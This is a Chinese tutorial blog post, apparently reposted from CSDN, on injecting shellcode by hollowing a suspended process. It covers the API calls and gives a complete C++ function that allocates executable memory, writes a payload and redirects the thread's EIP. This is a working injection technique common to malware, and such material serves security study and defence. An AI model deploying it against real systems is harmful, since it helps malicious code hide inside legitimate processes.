ShellCode —— 无线程注入

背景

也叫进程内存替换,就是指将一个进程的内存数据清空,写入任意我们想写入的数据,并更改执行顺序,执行我们写入的数据代码。

简单过程就是:

  • 创建一个挂起主线程的进程(也可以直接挂起目标进程,不自己创建)
  • 在新进程的地址空间内申请一块内存,写入我们的 Shellcode
  • 更改新进程执行顺序,执行我们的 Shellcode 代码

函数介绍

// 获取线程上下文
    BOOL WINAPI GetThreadContext(
         _In_    HANDLE    hThread,				
         _Inout_ LPCONTEXT lpContext			
    );

// 设置线程上下文
    BOOL WINAPI SetThreadContext(
         _In_       HANDLE  hThread,			
         _In_ const CONTEXT *lpContext
    );

// 恢复线程运行
    DWORD WINAPI ResumeThread(
          _In_ HANDLE hThread
    );

详细过程

  • 首先,使用 CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 然后,使用 VirtualAllocEx 函数在新进程中申请一块可读、可写、可执行的内存,并使用 WriteProcessMemory 函数写入Shellcode 数据。
  • 接着,使用 GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文。并修改线程上下文的指令指针 EIP 的值,更改主线程的执行顺序。再将修改过的线程上下文设置回主线程中。
  • 最后,我们调用 ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运行,执行我们的 Shellcode 代码。

要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。

代码

    // 创建进程并替换进程内存数据, 更改执行顺序
    BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
    {
    
    
        STARTUPINFO si = {
    
     0 };
        PROCESS_INFORMATION pi = {
    
     0 };
        CONTEXT threadContext = {
    
     0 };
        BOOL bRet = FALSE;
        ::RtlZeroMemory(&si, sizeof(si));
        ::RtlZeroMemory(&pi, sizeof(pi));
        ::RtlZeroMemory(&threadContext, sizeof(threadContext));
        si.cb = sizeof(si);
        // 创建进程并挂起主线程
        bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        if (FALSE == bRet)
        {
    
    
            ShowError("CreateProcess");
            return FALSE;
        }
        // 在替换的进程中申请一块内存
        LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (NULL == lpDestBaseAddr)
        {
    
    
            ShowError("VirtualAllocEx");
            return FALSE;
        }
        // 写入替换的数据
        bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
        if (FALSE == bRet)
        {
    
    
            ShowError("WriteProcessError");
            return FALSE;
        }
        // 获取线程上下文
        // 注意此处标志,一定要写!!!
        threadContext.ContextFlags = CONTEXT_FULL;
        bRet = ::GetThreadContext(pi.hThread, &threadContext);
        if (FALSE == bRet)
        {
    
    
            ShowError("GetThreadContext");
            return FALSE;
        }
        // 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
        threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
        // 设置挂起进程的线程上下文
        bRet = ::SetThreadContext(pi.hThread, &threadContext);
        if (FALSE == bRet)
        {
    
    
            ShowError("SetThreadContext");
            return FALSE;
        }
        // 恢复挂起的进程的线程
        ::ResumeThread(pi.hThread);
        return TRUE;
    }

测试

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Simon798/article/details/107594442